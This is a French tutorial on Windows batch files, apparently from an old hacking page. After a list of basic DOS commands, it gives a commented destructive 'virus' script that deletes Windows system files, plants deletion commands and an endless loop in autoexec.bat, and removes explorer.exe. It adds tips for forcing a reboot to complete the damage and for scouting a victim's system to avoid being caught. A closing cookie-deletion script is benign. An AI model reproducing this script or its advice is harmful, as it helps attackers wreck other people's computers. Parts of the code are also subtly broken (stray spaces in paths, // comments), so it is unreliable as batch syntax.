Les fichiers Batch
Tout d’abord, voici
les principales commandes :
"Break" permet d’activer ou
de désactiver CTRL + C
"Cls" Permet d’effacer le contenu de l’écran.
"Command" Permet de lancer l’interpréteur de commandes qui peut
être quitté grâce à la commande « exit ».
"Copy" Permet de copier un ou plusieurs fichiers.
-> Tapez la commande copy suivit de l’adresse du fichier à copier
puis l’adresse ou il doit être copié.
Ex : Copy c:\doc\doc1.doc c:\mes doc\doc1.doc.
"Date" Permet d’afficher la
date et de la modifier.
"Del" Supprime le fichier spécifier.
-> Del adresse du ficher à supprimer
Ex : Del c:\doc\doc1.doc
"Echo" Deux utilisations : Permet
de désactiver l’affichage du contenu des fichier batch lors de leurs
exécution ( Avec le paramètre off ( echo off | pour réactiver
l’affichage du texte des batch, tapez echo on ).Permet également
d’afficher du texte. Avec cette commande, on peut aussi écrire dans
un fichier :
Ex : echo salut>>c:\windows\bureau\texte.txt
Ça écrira « salut » dans le fichier texte.txt
(qu’il aurra crée), se situant sur le bureau.
"Edit" Lance l’éditeur
MS DOS qui permet de créer et de modifier des fichiers textes tel
que les batch.
Remarques : Vous pouvez remarquer que le batch tourne sous Dos, d’où
des commandes identiques.
En effet, le principes des fichier batch est d’enregistrer des commandes
Dos pré-tapées. Ce qui va vous permettre de comprendre les
virus batch très facilement
Remarquez également que pour la suppression de fichiers systèmes,
le petit programme utilise le démarrage de l’ordi (le seul moment
où le PC est sous Dos). Ceci, en modifiant le fichier Autoexec.bat
dans le disque dur.
Exemple commenté d’un
virus en .bat :
@echo off
//désactive l’affichage à l’ecran
del c :\windows\*.dll
del c :\windows\system\*.dll
del c :\windows\*.exe
del c :\windows\*.ini
del c :\windows\*.sys
//destruction des fichiers vitaux
echo @echo off>>c :\autoexec.bat
//écriture dans autoexec
del c :\windows\*.dll>>c :\autoexec.bat
del c :\windows\system\*.dll>>c :\autoexec.bat
//destruction des fichiers protégés
au démarrage
del c:\windows\explorer.exe>>c :\autoexec.bat
echo :hack>>c :\autoexec.bat
//crée un repère « hack »
echo goto hack>>c :\autoexec.bat
//va au repère hack
Astuce : Pour les virus nécessitant
un redémarrage de la machine pour une destruction totale, rajoutez
la commande C:\WINDOWS\RUNDLL32.EXE user.exe,exitwindows à
la fin pour l’arrêt de la machine.
/ !\ Attention ! Avant d’utiliser un batch sur une personne,
il est conseillé de faire un repérage pour identifier le système.
Imaginez que le répertoire du gars s’appelle « windows01 »,
le virus ne pourra pas y accéder, et là : message d ‘erreur
et vous êtes démasqué ! Ces virus ne marche que sous
windows ! Des petites astuces existent : remplacer windows par %systemdir%
Remarque : Si vous recevez un
fichier .bat, faites un clique droit et « édition » pour
voir comment il est construit. Ou renommez-le en .txt pour analyser ensuite
les commandes.
Une fois que vous maitrisez
cette technique, vous pouvez utiliser les fichiers batch de façon
plus utile, par exemple pour effacer les cookies :
@echo off
del c:\%systemdir%\cookies\*.txt
echo Cookies Supprimés !
ou sur XP :
@echo off
del c:\Docume~1\login\Cookies\*.txt
echo Cookies Supprimés !
|